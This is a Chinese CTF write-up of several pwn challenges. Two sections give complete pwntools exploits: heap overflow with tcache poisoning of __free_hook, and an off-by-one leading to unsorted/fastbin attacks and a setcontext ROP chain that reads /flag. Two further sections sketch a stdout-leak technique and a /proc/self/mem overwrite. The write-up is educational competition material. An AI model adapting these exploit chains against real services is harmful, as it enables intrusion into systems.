实习的倒数第二天在公司打的最后一场比赛了,贡献一点小小的力量,最后进前十了还是很开心的。但是只搞了两个pwn,剩下的babyrpc没有仔细看,vmpwn卡住了,就暂且写一下剩下部分的wp吧,其他的看看后面能不能搜到wp。
unknown
解题思路
__libc_start_main
首先会执行init
函数,其中调用了sub_1006
这个函数:1
2
3
4
5
6
7
8
9
10
11__int64 sub_1006()
{
int i; // [rsp+4h] [rbp-Ch]
mprotect((void *)((unsigned __int64)&loc_E57 & 0xFFFFFFFFFFFF000LL), 0x1000uLL, 7);
for ( i = 0; i <= 15; ++i )
*((_BYTE *)&loc_E57 + i) ^= 0x33u;
mprotect((void *)((unsigned __int64)&loc_E57 & 0xFFFFFFFFFFFF000LL), 0x1000uLL, 5);
((void (__fastcall *)(void *, __int64, __int64))loc_E57)(&loc_FAF, 16LL, 51LL);
return ((__int64 (*)(void))loc_FAF)();
}即对
0xE57
开始的15 bytes进行异或0x33的自解密,然后调用mprotect
赋予执行权限。写个脚本patch一下之后,得到另一个同样功能的函数,后面基本上是嵌套了,最后才是解密
main
函数和主逻辑:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19__int64 sub_FAF()
{
sub_E57((__int64)&loc_EF9, 16, 51);
sub_E57((__int64)main, 16, 51);
((void (*)(void))loc_EF9)();
((void (*)(void))loc_EF9)();
return ((__int64 (*)(void))loc_EF9)();
}
int sub_EF9()
{
sub_E57((__int64)&loc_A94, 16, 51);
sub_E57((__int64)&loc_CD9, 16, 51);
sub_E57((__int64)&loc_C01, 16, 51);
sub_E57((__int64)&loc_B5D, 16, 51);
sub_E57((__int64)&loc_D61, 16, 51);
sub_E57((__int64)&loc_A4B, 16, 51);
return sub_E57((__int64)word_9EA, 16, 51);
}再最后写个脚本patch一下:
1
2
3
4
5
6
7import idc
starts = [0xA94, 0xCD9, 0xC01, 0xB5D, 0xD61, 0xA4B, 0x9EA, 0xDB5]
for start in starts:
for i in range(0x10):
bytes = idc.Byte(start + i)
idc.PatchByte(start + i, bytes ^ 0x33)最后得到修复完成的
main
:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29void __fastcall main(__int64 a1, char **a2, char **a3)
{
init_buf(a1, a2, a3);
while ( 1 )
{
menu();
switch ( choice() )
{
case 1LL:
add();
break;
case 2LL:
edit();
break;
case 3LL:
delete();
break;
case 4LL:
show();
break;
case 5LL:
exit(0);
return;
default:
puts("Unknown");
break;
}
}
}利用点在于
add
功能下标存在上溢,可以修改最后一个chunk的size,从而再edit的时候创造一个heap overflow;然后就是直接用unsorted bin去leak出libc,然后tcache poisoning打__free_hook
为system
。exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys, os, re
context(arch='amd64', os='linux', log_level='debug')
p = remote('122.112.212.41', 6666)
def add(idx, size):
p.sendlineafter("Your choice: ", "1")
p.sendlineafter("Index: ", str(idx))
p.sendlineafter("Size: ", str(size))
def edit(idx, content):
p.sendlineafter("Your choice: ", "2")
p.sendlineafter("Index: ", str(idx))
p.send(content)
def show(idx):
p.sendlineafter("Your choice: ", "3")
p.sendlineafter("Index: ", str(idx))
p.recvuntil("Content: ")
def delete(idx):
p.sendlineafter("Your choice: ", "4")
p.sendlineafter("Index: ", str(idx))
main_arena_offset = 0x3ebc40
system_offset = libc.sym["system"]
__free_hook_offset = libc.sym["__free_hook"]
add(0, 0xF8)
for i in range(7):
add(i + 1, 0xF8)
for i in range(7):
delete(i + 1)
delete(0)
for i in range(7):
add(i + 1, 0xF8)
add(0, 0xF8)
edit(0, "LIBCADDR\n")
show(0)
p.recvuntil("LIBCADDR")
libc_base = u64(p.recv(6).ljust(0x8, "\x00")) + 0x36 - main_arena_offset
__free_hook = libc_base + __free_hook_offset
libc_system = libc_base + system_offset
add(15, 0)
add(10, 0x18)
add(-1, 0x18)
delete(10)
edit(15, "A" * 0x18 + p64(0x21) + p64(__free_hook) + '\n')
add(11, 0x18)
add(12, 0x18)
edit(11, '/bin/sh\x00' + '\n')
edit(12, p64(libc_system) + '\n')
delete(11)
success("libc_base: " + hex(libc_base))
p.interactive()
block
解题思路
这个
2333
号功能貌似是迷惑性质的?这个随机数没法拿到,直接放弃这个功能了;另外那个gas
基本上不可能超过,足够用了,所以可以不用管。binary存在一次
add
给size或了一个1,所以提供了off by one的机会。但是
edit
功能和show
功能只能使用一次,所以这里先通过off by one(一次edit
)构造chunk overlap,伪造unsorted bin把两个fastbin给overlap(从低到高地址分别为inuse和free的状态)。然后从分配空间切割unsorted bin使其和第一个fastbin重合(并且size被覆盖为切割剩下的chunk的size,也就是比原先的fastbin大0x10大小)。
此时在释放一个chunk到unsorted bin中,使得unsorted bin中存在两个chunk,再通过inuse的fastbin来leak出libc和heap(一次
show
)。释放这个inuse的fastbin,然后重新
malloc
拿到,同时修改unsorted bin->bk
为__free_hook - 0x20
以及下一个free的fastbin->fd = __free_hook - 0x13
(保持unsorted bin->fd
和fastbin->size
不变)。然后分配切割剩下的unsorted bin(大小一致,否则会crash),触发unsorted bin attack在
__free_hook - 0x10
的位置留下libc的地址,再利用这个libc地址的0x7f
为size进行fastbin attack得到__free_hook
。因为此时unsorted bin被破坏了,fastbin里是空的,所以不能再分配空间,只能在已有chunk的基础上构造rop进行orw(
execve
被ban了),即在chunk间利用pop rsp
进行横跳(chunk正好够用,运气很好);布置好rop同时改__free_hook
为setcontext + 53
,之后触发rop即可。exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys, os, re
context(arch='amd64', os='linux', log_level='debug')
p = remote('122.112.204.227', 6666)
def add(types, size, content):
p.sendlineafter("Choice >> ", "1")
p.sendlineafter("The Block's type: ", str(types))
p.sendlineafter("The Block's size: ", str(size))
p.sendafter("The Block's content: ", content)
def delete(idx):
p.sendlineafter("Choice >> ", "2")
p.sendlineafter("The Block's index: ", str(idx))
def show(idx):
p.sendlineafter("Choice >> ", "3")
p.sendlineafter("The Block's index: ", str(idx))
p.recvuntil("The content is ")
def edit(idx, content):
p.sendlineafter("Choice >> ", "4")
p.sendlineafter("The Block's index: ", str(idx))
p.sendafter("The Block's new content: ", content)
main_arena_offset = 0x3ebc40
system_offset = libc.sym["system"]
str_bin_sh_offset = libc.search("/bin/sh").next()
__free_hook_offset = libc.sym["__free_hook"]
setcontext_offset = libc.sym['setcontext']
add(1, 0x500, "AAAA\n")
add(3, 0x78, "AAAA\n")
delete(1)
add(3, 0x78, "AAAA\n")
delete(1)
add(3, 0x68, "AAAA\n") # chunk 1
add(2, 0x3F8, "BBBB\n") # chunk 2
add(3, 0x68, (p64(0) + p64(0x21)) * 6 + '\n') # chunk 3
add(3, 0x68, (p64(0) + p64(0x21)) * 6 + '\n') # chunk 4
edit(1, "A" * 0x68 + '\x81')
delete(2)
add(2, 0x3F8, "BBBB\n") # chunk 1
delete(0)
show(3)
libc_base = u64(p.recv(8)) - 0x60 - main_arena_offset
heap_base = u64(p.recv(8)) - 0xdf0
__free_hook = libc_base + __free_hook_offset
libc_setcontext = libc_base + setcontext_offset
# rop
pop_rsp = libc_base + 0x0000000000003960 # pop rsp ; ret
pop_rax = libc_base + 0x0000000000043a78 # pop rax ; ret
pop_rdi = libc_base + 0x000000000002155f # pop rdi ; ret
pop_rsi = libc_base + 0x0000000000023e8a # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000001b96 # pop rdx ; ret
pop_pop_pop_ret = libc_base + 0x0000000000023e85 # pop r12 ; pop r13 ; pop r14 ; ret
syscall = libc_base + 0x00000000000d29d5# syscall; ret;
ret = libc_base + 0x00000000000008aa # ret
delete(3) # fastbin
delete(4) # fastbin
add(3, 0x78, p64(libc_base + 0x637d10) + p64(__free_hook - 0x20) + '\n') # chunk0
payload = flat([pop_rax, 2, pop_rdi, __free_hook + 0x50, pop_rsi, 0, pop_rdx, 0x0, syscall])
payload += flat([pop_rax, 0])
payload += flat([pop_rsp, heap_base + 0x18F0]) # change rsp
add(3, 0x78, payload.ljust(0x68, "B") + p64(0x71) + p64(__free_hook - 0x13)) # unsorted bin attack (chunk 3 ==> to be freed)
payload = flat([pop_rdi, 3, pop_rsi, heap_base, pop_pop_pop_ret]) + "A" * 8
payload += flat([heap_base + 0x1880, ret])
payload += flat([pop_rdx, 0x40])
payload += flat([syscall])
payload += flat([pop_rsp, __free_hook + 0x8])
add(3, 0x68, payload + '\n')
payload = flat([pop_rax, 1, pop_rdi, 1, pop_rsi, heap_base, pop_rdx, 0x40, syscall])
payload += "/flag\x00"
add(3, 0x68, "A" * 0x3 + p64(libc_setcontext + 53) + payload + '\n')
success("libc_base: " + hex(libc_base))
success("heap_base: " + hex(heap_base))
p.interactive()
veryeasy
解题思路
题目不是我做的,但是简单看了下,比较简单,就是个fastbin double free,以及无leak的情况下打stdout进行leak的利用方式。
fsplayground
解题思路
这题是公司的学长做的,不过我也一下没反应过来怎么做,因为就是一个任意读写文件的功能,开始只想到了读/proc/self/maps
可以读加载地址;后来学长说可以通过写/proc/self/memory
直接改加载在内存里的binary,然后直接把flag
那个字符串给改了,然后check的逻辑就废了,就能直接读flag了。